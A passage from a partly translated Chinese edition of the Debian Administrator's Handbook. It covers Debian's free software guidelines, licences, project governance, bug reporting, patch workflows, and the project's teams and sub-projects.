In practice, there can be overlaps between both roles: the Debian maintainer may write a patch, which benefits all users of the work. In general, Debian encourages those in charge of a package in Debian to get involved in “upstream” development as well (they become, then, contributors, without being confined to the role of simple users of a program). Or the Debian developer creates tools or documentation for the Debian distribution, like packaging helpers (e.g. debhelper) or integration frameworks (e.g. ca-certificates) and becomes an “upstream author” for those creations.

3. 我们不隐藏问题。
Debian 不是完美的，并且，每天都会发现需要修复的新问题。Debian 将始终对公众开放完整的缺陷报告数据库。在线提交的报告也会尽快对其他人可见。

4. 用户和自由软件是我们优先考虑的事。
这个承诺更加难以定义。Debian 规定，当必须要作一个带有一定偏向的决定时，会抛弃那个对开发来说更为方便而会损害用户体验的方案，选择一个更加优雅的方案，即使它会更加的难以实现。这意味着用户与自由软件的利益将会被优先考虑。

5. 不符合我们的自由软件规范的作品。
Debian 接受并且理解用户可能想使用一些非自由软件程序。这就是为什么 Debian 允许使用部分基础设施分发一些可以安全分发的非自由软件的 Debian 软件包的原因。

社区 是支持还是反对 non-free 区块的呢？

维护一个允许容纳非自由软件的体系的承诺（如“non-free”章节，请看侧边栏关键词 main、contrib、non-free归档）总是 Debian 社区中的辩论的主题。

反对者指责这相当于让人们远离自由软件，同时这也与只服务于自由软件的原则相背。支持者总是声称大多数的非自由软件包都是“几乎是自由的”，仅仅是被一两条恼人的限制性条件所限制（最常见的就是禁止软件的商业使用）。通过在非自由分支中分发这些软件包，我们相当于间接的向作者解释，如果这些软件包能被包含在主分区中，便可以被更多的人所知并且使用。因此，我们是在礼貌而委婉地提出希望他们能够为了达到这样的目的而改变其许可证。

After a first and unfruitful attempt in 2004, the complete removal of the non-free section is unlikely to return to the agenda, especially since it contains many useful documents that were moved simply because they did not meet the new requirements for the main section. This is especially the case for certain software documentation files issued by the GNU project (in particular, Emacs and Make). Many modern systems further also require so called “firmware“, small binary files, which are necessary to run specific hardware. Many of these files can also only be found in the non-free section.

non-free软件分区就这样一直存在，并成为了与自由软件基金会之间不时产生摩擦的导火索。这也是基金会拒绝正式推荐Debian作为自由软件操作系统的主要原因。

1.2.2. Debian 自由软件指导方针

This reference document defines which software is “free enough” to be included in Debian. If a program's license is in accordance with these principles, it can be included in the main section; on the contrary, and provided that free distribution is permitted, it may be found in the non-free section. The non-free section is not officially part of Debian; it is an added service provided to users. A more detailed explanation of the different parts of the Debian archive can be found in the sidebar 关键词 main、contrib、non-free归档.

这些条文不仅仅是Debian的选择标准，也成为了有关自由软件方面的权威解释，同时，它也作为“开源”的基础定义。因此，它成为了“自由软件”概念最早的正式定义之一。

GNU通用公共许可协议、BSD许可协议和还有艺术许可协议，这些都是传统自由软件的许可协议，它们遵循自由软件指导方针中所提到的9个要点。在下面的链接中你会找到发布在Debian网站上的这些许可协议的文本。

→ https://www.debian.org/social_contract.html#guidelines

1. 自由的再次发行。.  Debian组件的许可协议不得限制任何一方将此软件作为含有若干不同来源的程序的一套软件集合中的一个组件用于销售或者捐赠。该许可证不得向诸如此类销售行为的销售方索取专利费或者其它费用。

2. 源代码。.  程序必须包含源代码，并且必须允许以已编译二进制文件形式和源代码的形式分发。

3. 衍生作品。.  许可协议必须允许代码修改和衍生作品，并且必须允许这些作品以和原软件相同的许可协议条款进行分发。

4. 作者源码的完整性。.  仅当许可协议允许：为了在构建程序时修改代码，“补丁文件”可随源代码一同分发，那么在此种情况下，许可协议可以限制分发修改过的源代码。许可协议须明确地说明准许分发由修改过的源代码构建成的软件。它可能会要求衍生作品使用与源软件不同的名字或版本号。这是一种妥协。Debian社团鼓励所有的作者不要限制任何文件的修改，不论是代码还是二进制文件。

5. 不歧视个人或群体。.  许可协议禁止歧视任何个人或群体。

6. 不歧视各领域的贡献者。.  许可协议不应限制任何人把程序应用于任何领域。例如，不应规定程序不能应用于商业领域或基因研究领域。

7. 许可协议的分发。.  程序附带的权利必须适用于程序的再分发而无需加上其他的授权。

8. 许可协议不应限定于 Debian。.  属于程序的权利，不应取决于该程序是否是 Debian 的一部分。如果某个程序是从 Debian 中提取出的，而又没有基于 Debian 进行分发或者应用于 Debian，但是根据该程序许可协议的条款，所有程序的使用者，包括程序被再分发之后的使用者，依然都享有该程序在 Debian 系统中相同的权利。

9. 许可协议禁止损害其他软件。.  许可证禁止限制那些和软件许可一起分发的软件。例如，许可证禁止要求在同一媒介上分发的所有其他程序都必须是自由软件。

基础知识著佐权

著佐权的原则在于使用著作权来保障作品及其衍生品的自由，而不是如同专有软件的情况那样限制使用的权利。它也是对“著作权”术语的文字游戏。Richard Stallman 从他的喜欢说双关语的朋友给他写的一封信那里获得了这一灵感，信的内容是这样的：“著佐权：所有权利反转”。著佐权强制保护原始作品（通常是程序）或者修改的作品版本分发的最初的自由。如果某一程序的代码是基于著佐权发布下的程序衍生而来的，那么它就不可能作为专有程序再被分发。

最广为人知的著佐权许可证，当然是 GNU 通用公共许可证（GPL）以及它的衍生版本，GNU 宽通用公共许可证（ LGPL）和 GNU 自由文档许可证（GFDL）。不幸的是，著佐权许可证通常来说不互相兼容。因此，最好只使用其中一个。

10. 示例许可协议.  “GNU通用公共许可证 ”, “BSD”, 和 “艺术” 许可证是一些我们认为“自由”的例子。

基础知识自由许可协议

GNU通用公共许可协议，BSD许可协议，以及艺术许可协议，虽然它们各不相同，但是它们都符合Debian自由软件指导方针。

GNU 通用公共许可协议，由自由软件基金会（FSF）使用并推广，是最为常见的许可协议。它的主要特点是，它同样适用于任何被重分发的衍生作品：一个程序，如果它以使用了由 GNU 通用公共许可协议许可的代码，那么它在分发时也必须遵从 GNU 通用公共许可协议的条款。因此，它禁止了软件在私有软件中的任何重用行为。这对想要重用 GNU 通用公共许可协议许可的代码，却使用了不兼容的许可协议的软件造成了严重问题。例如：有时候无法将一个以另一个自由软件协议分发的程序和以 GNU 通用公共软件许可协议分发的库进行链接。另一方面，这一许可协议在美国法律中相当稳靠：自由软件基金会的律师们参与起草了该许可协议，也时常迫使违规者与自由软件基金会签订和解协议以避免法庭诉讼。

→ https://www.gnu.org/copyleft/gpl.html

BSD许可协议是最为宽松的：任何操作都被允许，包括将修改后的由BSD许可协议许可的代码使用在私有软件中。

→ https://www.opensource.org/licenses/bsd-license.php

最后，艺术许可协议则在这两种协议间达成了某种妥协：允许在私有软件中使用未经修改的代码，但是任何修改的部分则必须公开。

→ https://www.opensource.org/licenses/artistic-license-2.0.php

这些许可协议的完整文本可以在任一 Debian 系统（对于 BSD 只有新的三句版协议）的/usr/share/common-licenses/中找到。

社区 Bruce Perens，一位有争议的领导者

Bruce Perens 是继 Ian Murdock 之后的 Debian 项目的第二位领导者。他的多样化和独裁化管理方式饱受争议。尽管如此，他依然是 Debian 项目的重要贡献者。特别是他编写的著名的 “Debian 自由软件指导方针” (该方针源自于 Ean Shuessler 的想法) 对于 Debian 项目帮助很大。随后，Bruce 又据此编写了著名的“开源定义”，并且移除了所有的 Debian 引用。

→ https://opensource.org/

当他离开项目时，是挺让人伤心的。然而 Bruce 依然和 Debian 保持着紧密的联系，因为他继续在政治界和金融界推广此发行版。他偶尔也出现在电子邮件列表中，表达他对 Debian 的建议以及其支持 Debian 的新举措。

最后的轶事，布鲁斯负责为 Debian 的各版本“代号”命名（1.1 — Rex，1.2 — Buzz，1.3 — Bo，2.0 — Hamm，2.1 — Slink，2.2 — Potato，3.0 — Woody，3.1 — Sarge，4.0 — Etch，5.0 — Lenny，6.0 — Squeeze，7 — Wheezy，8 — Jessie，9 — Stretch，10 — Buster，11 — Bullseye，12（未发布） — Bookworm，不稳定版 — Sid）。都取材自电影玩具总动员（Toy Story）里的角色。皮克斯动画工作室推出完全以电脑动画构成的这部电影，领导 Debian 的布鲁斯当时在此工作室任职。“席德” 此代号较特别，代表 不稳定 版。在电影里，是隔壁的男孩，总是打破玩具 — 所以不要太接近 不稳定 版。另一方面，其英文名字 Sid 也可代表“Still In Development（开发中）”的缩写。

1.3. Debian 项目的内部工作

从有经验的 Debian 开发者、Debian 软件包里的个别或集体作品、以及用户的回馈，Debian 计划产出丰富的结果。

1.3.1. Debian 开发者

Debian 开发者有多项职责，也是计划的正式成员，对计划的方向有极大的影响力。Debian 开发者通常至少负责一个软件包；根据其空闲时间及意愿，开发者可以自行参与众多团队和项目，并在计划内取得更多的责任。

→ https://www.debian.org/devel/people

→ https://www.debian.org/intro/organization

→ https://wiki.debian.org/Teams

工具开发者的数据库

Debian 维护一个记录所有登记在案的开发者的数据库，数据库中也存储了他们的相关信息（如地址、电话和经纬度等地理信息）。其中部分数据（姓名、国家、计划内使用的用户名、IRC 名称、GnuPG 公钥等）公开在网页上可查。

→ https://db.debian.org/

地理信息用于创建开发者在全球的分布地图。Debian 是真正的国际计划：虽然主要在 '西方国家'，其开发者确实遍布各大洲。

图 1.1. Debian 开发者遍布全球

软件包维护是相当团队性的活动、极需要记录与规范。实际上，必须与 Debian 政策 的标准相符。幸运的，很多任务具可以协助维护者的工作。因此，开发者可以集中心力在其软件包及其他复杂的工作，诸如调试。

→ https://www.debian.org/doc/debian-policy/

基础知识 包的维护，开发者的工作

维护软件包，首先是“包装”软件。这特指定义安装的方法，以便在此软件安装之后，使其可以遵循 Debian 计划的规则运作。“包装”的结果保存在一个 .deb 文件内。安装软件时，仅仅需要解压此文件，并执行其中的预安装、后安装脚本。

经过这个初始阶段，维护流程才真正开始：依照最新版的 Debian 政策准备更新，修正用户报告的错误，并包括新的程序新的，同步发展“上游”版本。例如，初次包装后，一个程序的版本号为1.2.3。几个月的开发之后，原作者发布新的稳定版，编号为 1.4.0。此时，Debian 软件包维护者应更新软件包，以便用户获取最新的稳定版。

政策，是 Debian 项目中重要的元素，它是保障该发行版软件包品质与完美互通性的纲常。正因为有政策的约束，Debian 才能在愈来愈庞大的同时依然保持一致。然而，政策并非铭刻在石不能更改，要随着 <debian-policy@lists.debian.org> 邮件列表中型塑出的提案不断演进。修订案在所有关注的各方有所共识后，才会被一小群没有编辑责任的维护者编写 (他们只接纳前述邮件列表内众 Debian 开发者接受的修改提案)。目前臭虫追踪系统内的修订提案在此：

→ https://bugs.debian.org/debian-policy

社区 政策的编辑流程

任何人都可以通过对debian-policy 包提交严重性为“愿望”的漏洞报告来申请修改 Debian 政策的新提议。随后的流程记录在https://www.debian.org/doc/debian-policy/ap-process.html：如果问题需要通过在 Debian 政策中添加新的条款来解决，那么在 <debian-policy@lists.debian.org>邮件列表上就会开始对此进行讨论。当达成一致意见后，就会产生一个新提议。一份新起草的政策修正条款会被提交审阅（以补丁的方式）。只要当有两名其他开发者认为，新起草的修改条款和之前讨论的内容保持一致（他们支持这一新修正条款），那么这一提议就会被某一位debian-policy 包维护者更新进正式的文件中。如果这一流程在上述的任一阶段失败了，那么维护者就会关闭这一漏洞，将该提案分类为被拒绝。

DEBIAN 政策 文档

每一个包的说明文档保存在/usr/share/doc/软件包名称/路径下。这一目录通常包含一个README.Debian文件。该文件描述了包维护者为Debian所做的特定调整。因此，在做任何配置前最好先读一下这个文件，从包维护者的经验中获益。我们还可以找到一个名为changelog.Debian.gz的文件，它描述了Debian维护者在各个软件包版本之间所做的更改。请不要将这个文件和changelog.gz文件（或类似名称的文件）混淆，后者是由上游开发者提供的，描述了上游的修订日志。copyright文件包含了软件作者和软件适用的授权条款的信息。最后，我们还可能找到名为NEWS.Debian.gz的文件，Debian开发者可以使用它发布有关更新的重要信息；如果apt-listchanges已在系统上安装，则这些信息将在更新时自动显示。所有其它的文件都和特定的软件包相关。我们特别指出可能存在名为examples的子目录，它通常包含了配置文件的示例。

The Policy provides considerable coverage of the technical aspects of packaging. The size of the project also raises organizational problems; these are dealt with by the Debian Constitution, which establishes a structure and means for decision making. In other words, a formal governance system.

This constitution defines a certain number of roles and positions, plus responsibilities and authorities for each. It is particularly worth noting that Debian developers always have ultimate decision making authority by a vote of general resolution, wherein a qualified majority of three quarters (75%) of votes is required for significant alterations to be made (such as those with an impact on the Foundation Documents). However, developers annually elect a “leader” to represent them in meetings, and ensure internal coordination between varying teams. This election is always a period of intense discussions. The Debian Project leader's (DPL) role is not formally defined by any document: candidates for this post usually propose their own definition of the position. In practice, the leader's roles include serving as a representative to the media, coordinating between “internal” teams, and providing overall guidance to the project, within which the developers can relate: the views of the DPL are implicitly approved by the majority of project members.

特别地，领导人拥有真正的特权；他们的投票可以解决票数相等的问题；他们可以对某个尚未归属于任何人管辖名下的事件作出决定，同时可以将他们自己的一部分职责委托他人代为执行。

自发起以来，项目的历任领导人包括 Ian Murdock，Bruce Perens，Ian Jackson，Wichert Akkerman，Ben Collins，Bdale Garbee，Martin Michlmayr，Branden Robinson，Anthony Towns，SamHocevar，Steve Mclntyre，Stefano Zacchiroli，Lucas Nussbaum，Mehdi Dogguy，Chris Lamb Sam Hartman 和 Jonathan Carter。

宪章同样也定义了一个“技术委员会（technical committee）”。技术委员会的核心角色是对于那些在开发者之间尚未达成一致意见的技术事宜进行决策。除此以外，委员会则作为顾问角色，为任何无法为他们所负责的事宜作出决定的开发者提供帮助。值得一提的是，只有在相关问题方给委员会发送邀请时，委员会才会介入。

最后，宪章定义了一个“项目秘书”的职位，这一角色负责组织各种选举和决议的投票。

The “general resolution” (GR) procedure is fully detailed in the constitution, from the initial discussion period to the final counting of votes. The most interesting aspect of that process is that when it comes to an actual vote, developers have to rank the different ballot options between them and the winner is selected with a Condorcet method (more specifically, the Schulze method). For further details see:

→ https://www.debian.org/devel/constitution

文化网络舌战，引爆侮辱性攻击的讨论

'发火' 是极度不理性的争辩，双方都穷尽理论的辩论后转向人身攻击。部分议题较为论战式 (选择文本编辑器，'喜欢 vi 或 emacs？'，永远没有结论)。由于单方面 (每个人) 快速地交换电子邮件形成优势且极度地个人化此等议题。

这种讨论没什么特别；通常要远离这种争论，或者快速地略过其内容，因为阅读它们太费时了。

Even if this constitution establishes a semblance of democracy, the daily reality is quite different: Debian naturally follows the free software rules of the do-ocracy: the one who does things gets to decide how to do them. A lot of time can be wasted debating the respective merits of various ways to approach a problem; the chosen solution will be the first one that is both functional and satisfying… which will come out of the time that a competent person put into it.

这就是升级的唯一方法：做有用的事且显示把事情做好。Debian '管理' 团体以增选方式管理，采用已有效奉献且证明其能力的志愿者。新的奉献者看到这些团队做了具有公共利益性质的工作就会主动加入协助。这就是 Debian 常被称为 '任人唯贤'。

文化 任人唯贤，统治知识

Meritocracy is a form of government in which authority is exercised by those with the greatest merit. For Debian, merit is a measure of competence, which is, itself, assessed by observation of past actions by one or more others within the project (Stefano Zacchiroli, a former project leader, speaks of “do-ocracy”, meaning “power to those who get things done”). Their simple existence proves a certain level of competence; their achievements generally being free software, with available source code, which can be easily reviewed by peers to assess their quality.

这种有效的管理方法保证在 Debian '关键' 团队奉献者的品质。不见得是完美的且偶而凸搥。选择被团队接受的开发者是随兴的，甚至不公平的。而且，不是每个人对这些团队服务的期望是一样的。有些人受不了等8天才能收录新的 Debian 软件包，也有人耐心等待3周毫无怨言。所以，有些团队对 '服务品质' 经常不满。

社区 新维护者的整合

负责批准新开发者加入事项的团队是最经常受到批评的。人们需要承认的是，经过多年的发展，Debian 项目开始变得越来越因为需求而去接纳一些程序员。一些人可能会在其中看见一些不公正的情况，但我们必须要承认的是，当一个超过 1000 人的社区需要去保证它所提供给用户的所有东西的质量与完整性时，这会比它在刚刚起步的时候要有挑战的多。

此外，由 Debian 客户经理这样一小群团队审核接受的进程 。特别容易被批评，因为在 Debian 开发者社区里说接受或拒绝的就是他们。实务上，必须多花点时间了解才能接受。当然，我们可以在被接受为正式的开发者前，先支持既有的开发者，做出实质的奉献。

1.3.2. 用户的积极角色

有的人可能会感到奇怪，不明白为什么要在讨论 Debian 计划内工作的成员时加入用户。答案是确定的：用户在整个计划中扮演了关键的角色。其中不只有“被动”的角色，更有部分用户会日常使用 Debian 的开发版本并定期提交错误报告以指出软件的缺陷和问题。还有一部分用户会更进一步提出改进的意见，以“愿望清单（wishlist）”等级的错误报告阐述自己的观点，甚至提交对源代码的修改提议，或称为“补丁”（参见 第 1.3.2.3 节 “发送修复和补丁”)。

1.3.2.1. 反馈缺陷

Debian 中提交缺陷报告的最基础工具是 Debian 缺陷跟踪系统（Debian BTS）。它在项目的许多地方都有应用。其公开部分（网页界面）可以让用户查看所报告的问题，并提供选项以根据不同的筛选条件给出一个列表。这些条件包括：受影响的软件包、问题严重性、状态、报告者的电子邮件地址、负责维护软件包人员的电子邮件地址、标签，等等。用户也可以在线浏览与这些问题相关的所有讨论的历史记录。

表层下的 Debian BTS 系统以电子邮件为基础：保存参与者寄发的电子邮件做为信息。发送给<12345@bugs.debian.org> 的电子邮件，将被指定为编号 12345 的错误。有权限的人可以叙明理由寄发另个电子邮件 <12345-done@bugs.debian.org> '关闭' (表示该错误已解决或无关紧要) 该错误。新的错误应以指定的格式辨识有问题的软件包再发送电子邮件给 <submit@bugs.debian.org>。这个邮箱 <control@bugs.debian.org> 用于编辑与该错误有关的所有“元信息”。

Debian BTS 还有其他功能特性，如使用标签标记不同的缺陷报告。如需了解更多信息，请参阅

→ https://www.debian.org/Bugs/

词汇表 错误的严重度

报告问题时指定该错误的严重性。不是每个错误都具有相同的重要性；例如，手册内容的打字错误不能与服务器软件的安全漏洞相提并论。

Debian 为描述缺陷和错误的严重性提供了相当广泛的尺度。每个级别都有精准的定义以协助后续的解决选择。

→ https://www.debian.org/Bugs/Developer#severities

Users can also use the command line to send bug reports on a Debian package with the reportbug tool. It helps making sure the bug in question hasn't already been filed, thus preventing redundancy in the system. It reminds the user of the definitions of the severity levels, for the report to be as accurate as possible (the developer can always fine-tune these parameters later, if needed). It helps writing a complete bug report, without the user needing to know the precise syntax, by writing it and allowing the user to edit it. This report will then be sent via an e-mail server (by default, a remote one run by Debian, but reportbug can also use a local server).

此工具最初针对 Debian 的开发版本设计，缺陷的修复也在开发版本上进行。自然地，Debian 的稳定发行版本则尽量不做改动；在此基础上存在一小部分例外，如安全更新或其它重要更新（例如，如果某个软件包突然完全无法工作）。因此，对 Debian 软件包中小问题的修复常常需要在下一个稳定发行版本中才能体现出来。

1.3.2.2. 翻译和文档

此外，很多对 Debian 满意的用户会为这个计划做出自己的贡献。因为不同贡献者的编程水平不尽相同，有些人会选择参与翻译与审核文档。不同语言有各自专门的邮件列表，用来协调相应的工作。

→ https://lists.debian.org/i18n.html

→ https://www.debian.org/international/

基础知识 什么是 i18n 与 l10n？

'i18n' 与 'l10n' 是国际化英文本 'internationalization' 与本地化英文本 'localization' 的缩写，保留第一个与最后一个字母，再加入省略字母的字数。

'国际化' 一个程序包括修改至可以翻译 (本地化) 的程度。涉及重写程序以便公开给所有的语系使用。

'本地化' 一个程序包括翻译原语言 (通常是英文) 为另一种语言。因此，必须先国际化。

总之，国际化系把软件整备至可翻译的程度，然后再运行本地化。

1.3.2.3. 发送修复和补丁

更多的进阶用户还可能通过发送补丁的方式来提供对程序问题的修复方法。

补丁是描述文件修改的文件。准确来说，包括移除或添加的代码清单，以及 (有时) 从参考文档取得的内容，用以取代修改的内文 (可以辨识取代的内容)。

修改文件的工具名为 patch。创建补丁的工具名为 diff，用法如下：

$ diff -u file.old file.new >file.patch

file.patch 文件包括变更 file.old 为 file.new 的指令。可以发送给其他人，用于从另外两个文件重新创建 file.new，如：

$ patch -p0 file.old <file.patch

现在，文件 file.old 内容等同于 file.new。

In practice, most software is currently maintained in Git repositories and contributors are thus more likely to use git to retrieve the source code and propose changes. git diff will generate a file in the same format as what diff -u would do and git apply can do the same as patch.

文化 Git

Git 是在多个文件合作运作的工具，维护修订的记录。有问题的文件多半是纯文本档，程序的源代码。由多人共同处理一个文件时，git 可以把不同部分的文件合而为一。否则，其中的 '冲突' 必须以人工处理。

Git is a distributed system where each user has a repository with the complete history of changes. Central repositories are used to download the project (git clone) and to share the work done with others (git push). The repository can contain multiple versions of the files but only one version can be worked on at a given time: it is called the working copy (it can be changed to point to another version with git checkout). Git can show you the modifications made to the working copy (git diff), can stage changes for inclusion (git add), and can create a new entry in the version's history (git commit). It can also update the working copy to include modifications made in parallel by other users (git pull), and can record a particular configuration in the history in order to be able to easily extract it later on (git tag).

Git 可处理发展中的多个版本而不互相干扰。这些版本称为 branches。以树木的分枝形容相当精确，因为程序本来就是从一个主干开始。有了成果 (诸如 1.0) 后，就有两个分枝：发展枝为下个版本做准备、维护枝管理 1.0 的更新与修订。

Git is, nowadays, the most popular version control system but it is not the only one. Historically, CVS (Concurrent Versions System) was the first widely used tool but its numerous limitations contributed to the appearance of more modern free alternatives. These include, especially, Subversion (svn), Git (git), Bazaar (bzr), Fossil (fossil), and Mercurial (hg).

→ https://www.nongnu.org/cvs/

→ https://subversion.apache.org/

→ https://git-scm.com/

→ https://bazaar.canonical.com/

→ http://mercurial.selenic.com/

It is beyond the scope of this book to provide a detailed explanation about Git. For that, you can refer to the Pro Git book.

→ https://git-scm.com/book/

虽然git diff命令的输出文件也可以直接分享给其他开发者，但通常还有更好的办法提交更改。如果开发者偏向于通过邮件获取补丁，他们通常希望获得git format-patch生成的补丁，这样他们就能直接用git am命令将更改整合到仓库中。这种做法保留了提交的元数据，也让同时分享多个提交成为可能。

基于邮件的工作流程仍然很流行，但它的使用正在逐渐被merge requests（或pull requests，只要软件是由 GitHub 或 GitLab 类似的平台托管——Debian 使用 GitLab 服务器alsa.debian.org）所取代。在这些平台上，一旦你创建一个账户，fork一个仓库，你就马上在自己的账户里获得了该仓库的一份拷贝，然后你就可以下载仓库并把更改提交到仓库了。这时候，网页界面会建议你提交一个合并请求，让开发者知道你的更改，让他们可以方便地检查更改并可以通过点击一下就接受你的更改。

1.3.2.4. 其他贡献的方式

正是随着用户的不断参与，这些贡献途径才能越来越有效。用户并不仅仅是孤立的个体所组成的一个集合，用户们实际上是一个真正的社区，伴随着个体之间持续的信息交换。我们尤其注意到我们的用户邮件列表，<debian-user@lists.debian.org>，有十分活跃的交流活动。（第 7 章 问题的解决与相关信息的检索 一节对此有详细描述。）

→ https://lists.debian.org/users.html

用户们不仅会在直接影响他们的技术问题上自助（并帮助他人），也会讨论向 Debian 计划做出贡献以及使得计划继续前行的好方法——这些讨论经常能得出有用的改进建议。

工具 how-can-i-help

The how-can-i-help program lists opportunities for contributing to Debian packages that are installed locally. After each APT invocation (see 第 6 章 维护和更新：APT 工具), it shows ways to help, by highlighting bugs tagged “newcomer” (which are easy entry-points for new contributors) or orphaned packages that need a new maintainer. The program can be executed directly as well.

Debian 不仅持续自我推广，其用户在扩散方面也居功甚伟，口耳相传其名声。

这些方法运作得不错，在自由软件社区的各个层面上都有 Debian 粉丝：从本地 Linux 用户社区（LUGs，即为“Linux 用户组”）组织的安装会（协助新手安装系统的工作坊）到大型技术会议中与 Linux 相关的展台，等等。

志愿者们制作海报、小册子、贴纸及其他的推广文宣，供社会大众取用；部分内容在 Debian 网站可自由取用：

→ https://www.debian.org/events/material

1.3.3. Teams, Blends, and Sub-Projects

From the start, Debian has been organized around the concept of source packages, each with its maintainer or group of maintainers. Many work teams have emerged over time, ensuring administration of the infrastructure, management of tasks not specific to any package in particular (quality assurance, Debian Policy, installer, etc.), with the latest series of teams growing up around sub-projects and blends.

1.3.3.1. Existing Debian Sub-Projects and Blends

To each their own Debian! A sub-project is a group of volunteers interested in adapting Debian to specific needs. Beyond the selection of a sub-group of programs intended for a particular domain (education, medicine, multimedia creation, etc.), sub-projects are also involved in improving existing packages, packaging missing software, adapting the installer, creating specific documentation, and more. While a "blend" might not be exactly the same, it works quite similar and also tries to provide a solution for groups of people intending to use Debian for a particular domain. One could say that "Debian Pure Blends" is the successor of sub-projects.

→ https://www.debian.org/blends/

VOCABULARY Sub-projects, blends, and derivative distribution

所谓衍生发行版的开发进程，系根据某一特定版本的 Debian 做为起点，接着进行各种改造而成。其成品作成之基础建设完全在 Debian 项目之外。衍生版也不必有回馈自身改善的政策。这就是为何衍生发行版会「偏离」原版，并且必须定期与原版同步以便获取上游来的改善成果。

On the other hand, a sub-project or blend can not diverge, since all the work on it consists of directly improving Debian in order to adapt it to a specific goal.

Debian 的众多衍生发行版中，无庸置疑，最知名的当是 Ubuntu。请见 附录 A, 衍生发行版 了解其特点，及其与 Debian 间的地位关系。

Here is a small selection of current released Debian Pure Blends:

- Debian Junior, by Ben Armstrong, offering an appealing and easy to use Debian system for children;

- Debian Edu, by Petter Reinholdtsen, focused on the creation of a specialized distribution for the academic and educational world;

- Debian Med，由 Andreas Tille 制作，专供医护领域使用;

- Debian Multimedia, which deals with audio and multimedia work;

- Debian GIS, which takes care of Geographical Information Systems applications and users;

- Debian Astro，适合专业人士和业余天文学家;

- Debian Science, working on providing researchers and scientists a better experience using Debian;

- Freedombox，旨在开发、设计和推广运行自由软件的个人服务器，用于隐蔽、个人通信;

- Debian Games，在 Debian 中提供从街机、冒险类到模拟及策略类型的游戏;

- DebiChem，目标是化学领域，提供了化学工具套装和程序。

The number of projects will most likely continue to grow with time and improved perception of the advantages of Debian Pure Blends. Fully supported by the existing Debian infrastructure, they can, in effect, focus on work with real added value, without worrying about remaining synchronized with Debian, since they are developed within the project.

1.3.3.2. 管理团队

大部分的管理团队以相对封闭的增选方式招募成员。最好的加入方法是先协助现有成员开展工作，展示出您了解该团体的目标与运作方式。

ftpmaster 管理员负责管理 Debian 软件包的官方仓库。他们维护用于接收开发者传来的软件包的程序；经过一些检查后，软件包将被保存在目标服务器上 (ftp-master.debian.org)。

他们也检查添加软件包的授权条款，确保在纳入它们之前，Debian 有权散布它们。被要求移除的软件包，由开发者经由错误追踪系统与 ftp.debian.org '虚拟软件包' 向团队提出。

术语 伪软件包，监测工具

错误追踪系统，原先系处理 Debian 软件包错误而设计，后来发现在其他事物上也很实用：列出 Debian 软件包内外的待处理问题或待管理工作。'虚拟软件包' 允许指定团队在未链接实际软件包的环境下使用错误追踪系统。每个人都可以报告错误。例如，BTS 有个 ftp.debian.org 条目用于报告与追踪官方软件包的错误或要求移除软件包。同样的，www.debian.org 虚拟软件包则指向 Debian 网页的错误，且 lists.debian.org 汇集与邮件列表有关的问题。

工具 GitLab、Git 仓库托管和相关事项

一个名为 salsa.debian.org的 Gitlab 实例是 Debian 用以托管 Git 软件包仓库的平台，但该平台提供远超托管以外其他服务。Debian 贡献者们很快就开始使用持续集成功能（运行测试，甚至在每次提交更改后构建软件包）。受益于合并请求的过程（类似于 Github 的拉取请求）已被广泛了解，Debian 贡献者也有了更清晰的贡献流程。

GitLab 取代了 FusionForge（运行在一个名为alioth.debian.org的服务器上）成为软件包维护合作平台。这一服务由Alexander Wirt，Bastian Blank 和 Jörg Jaspert 管理。

→ https://salsa.debian.org/

→ https://wiki.debian.org/Salsa/Doc

如众所期待，Debian 系统管理员（DSA）团队（<debian-admin@lists.debian.org>）对计划所使用的多个服务器负责。其职责包括确保所有的基础服务（DNS、Web、e-mail、shell 等）正常运作、按照 Debian 开发者的要求在机器上安装软件以及关注系统运行安全相关事宜。

→ https://dsa.debian.org

工具 Debian 软件包跟踪器

这是 Raphaël 的杰作之一。基本概念是，对于指明的软件包，尽可能将相关信息集结在同一页面中。这样一来，任何人都可以快速查看程序的状态、辨识待处理的事项、以及提供协助等。这就是为何这个页面会集结所有的漏洞统计数据、各个发行版中的可用版本、在 Testing 发行版中打包的进度、软件描述和 debconf 模板的翻译状态、是否有新的上游版本、是否未遵循最新版 Debian 政策的通知、维护者的信息、以及维护者期望纳入的其他信息等。

→ https://tracker.debian.org/

电子邮件订阅服务也在此网页接口。自动送出选定的信息到此清单：错误与相关的讨论、Debian 服务器内的新版本、待校对的新翻译等。

因此，高级用户可以紧密地跟踪此类信息，或是在对内容有充分理解后对计划做出贡献。

Another web interface, known as the Debian Developer's Packages Overview (DDPO), provides each developer a synopsis of the status of all Debian packages placed under their charge.

→ https://qa.debian.org/developer.php

这两个网站由 Debian 的品质保证成员 (通称为 Debian QA) 开发与管理的工具。

listmaster 管理邮件列表的电子邮件服务器。职责包括添加名单、处理送回 (无法送出的通知)、以及垃圾邮件过滤器 (未授权的邮件)。

文化 邮件列表的流量：某些数据

The mailing lists are, without a doubt, the best testimony to activity on a project, since they keep track of everything that happens. The numbers (from April 2021) regarding our mailing lists speak for themselves: Debian hosts about 325 lists, totaling over 295,000 individual subscriptions. 396,000 e-mails are delivered every day.

Each specific service has its own administration team, generally composed of volunteers who have installed it (and also frequently programmed the corresponding tools themselves). This is the case for the bug tracking system (BTS), the package tracker, salsa.debian.org (GitLab server, see sidebar 工具 GitLab、Git 仓库托管和相关事项), the services available on qa.debian.org, lintian.debian.org, buildd.debian.org, cdimage.debian.org, etc.

1.3.3.3. 开发团队、翻译团队

不同于管理团队，开发团队较为开放，甚至可以说是置身于奉献者之外。Debian 自身不添加软件，计划仍需要外部软件满足其需要。当然，仍是在自由软件授权下发展，这些工具使用被自由软件世界验证的方法。

Debian 发展自己的小软件，但却是重要的软件，其名声远超越 Debian 计划本身。dpkg 是个例子，它是 Debian 软件包管理程序 (事实上，它是 Debian PacKaGe 的缩写，读成 'dee-package')，另一个是 apt，自动安装 Debian 软件包的工具，检查其相依性，保证安装后与系统一致 (其名称为 Advanced Package Tool 的缩写)。然而，它们都是由小团队撰写的，只需要高端程序技巧就能了解该程序的运作方式。

最重要的团队可能是处理 Debian 安装程序（debian-installer）的团队；他们自2001年问世以来完成了许多重要的任务。以一个程序提供十多种架构的 Debian 安装支持不是件简单的事，需要很多奉献者共同完成。每个架构需有自己的启动程序与引导程序。所有工作使用 <debian-boot@lists.debian.org> 邮件列表进行协调，在 Cyril Brulebois 领导下进行开发。

→ https://www.debian.org/devel/debian-installer/

→ https://joeyh.name/blog/entry/d-i_retrospective/

这个 (极小的) debian-cd 程序团队的目标更谦虚。由很多 '小小' 的奉献者负责其架构，因为主要的开发者无法知道全部的细微之处，也不知道从CD-ROM 安装的正确方式。

